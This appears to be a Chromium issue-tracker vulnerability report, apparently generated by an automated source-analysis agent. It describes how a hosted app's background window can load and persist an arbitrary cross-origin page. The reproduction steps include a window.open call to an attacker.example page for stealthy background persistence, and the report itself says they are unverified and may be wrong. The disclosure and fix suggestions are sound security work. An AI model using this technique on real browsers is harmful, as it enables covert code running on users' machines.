Hosted apps with the background permission can create an invisible BackgroundContents window (e.g., via window.open(url, 'name', 'background')). By design, navigations within this window are supposed to be restricted to the URLs defined in the app’s web_extent. A legacy comment in chrome/browser/background/background_contents.cc indicates this was previously enforced by renderer-side logic (RenderView::decidePolicyForNavigation). However, that renderer-side check has been removed, and no corresponding browser-side validation (such as a NavigationThrottle or an explicit check during persistence) was implemented to replace it.

Vulnerability Details

An attacker can exploit this missing validation to achieve stealthy cross-origin persistence:

  1. Missing Navigation Restrictions: When a hosted app calls window.open(target_url, 'name', 'background'), ChromeContentBrowserClient::CanCreateWindow verifies the opener has the background permission but does not check if target_url is within the app’s web_extent. The browser returns a new WebContents to the renderer, allowing the renderer to initiate the cross-origin navigation.
  2. Unverified Persistence: When the cross-origin navigation successfully commits, BackgroundContents::PrimaryPageChanged notifies BackgroundContentsService. The service calls RegisterBackgroundContents, which extracts the currently committed URL and saves it to the user’s Preferences file under prefs::kRegisteredBackgroundContents. It performs no validation to ensure the URL belongs to the app.
  3. Automatic Reload on Restart: Upon restarting the browser, BackgroundContentsService reads the cross-origin URL from Preferences and automatically initiates a browser-initiated navigation to load it in an invisible background window.

This flaw allows an attacker (via a malicious hosted app or XSS in a legitimate one) to silently run code from an arbitrary web origin in the background indefinitely.

Note: Highly privileged URLs (like chrome://) cannot be targeted due to standard FilterURL and renderer-initiated navigation blocking mechanisms. The impact is limited to standard web origins running in site-isolated processes.

Potential Reproduction Steps

Please note these are theoretical steps based on source code analysis, as our tooling agent cannot execute code to verify them.

  1. Install a hosted app with the background permission and a defined web_extent (e.g., https://app.example/).
  2. Navigate to a page within the app’s extent.
  3. Execute window.open('https://attacker.example/malicious.html', 'bg', 'background') from the app page.
  4. Observe that an invisible BackgroundContents is created and loads the cross-origin URL.
  5. The URL is written to Preferences (prefs::kRegisteredBackgroundContents).
  6. Restart Chrome. The browser will automatically reload https://attacker.example/malicious.html in the background.

Suggested Fix

  1. Enforce Navigation Limits: Introduce a NavigationThrottle specifically for BackgroundContents (or update ExtensionNavigationThrottle) to block navigations to URLs outside the hosted app’s web_extent.
  2. Sanitize Persistence: Update BackgroundContentsService::OnBackgroundContentsNavigated or RegisterBackgroundContents to explicitly verify that background_contents->GetURL() is within the extension’s web_extent before saving it to Preferences.

Evaluated with Chrome root at commit: eca8648a4e1cdfdda68c495a6003059fed641955


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

Raised in root component due to access or custom field issues on 1457154

View on issue tracker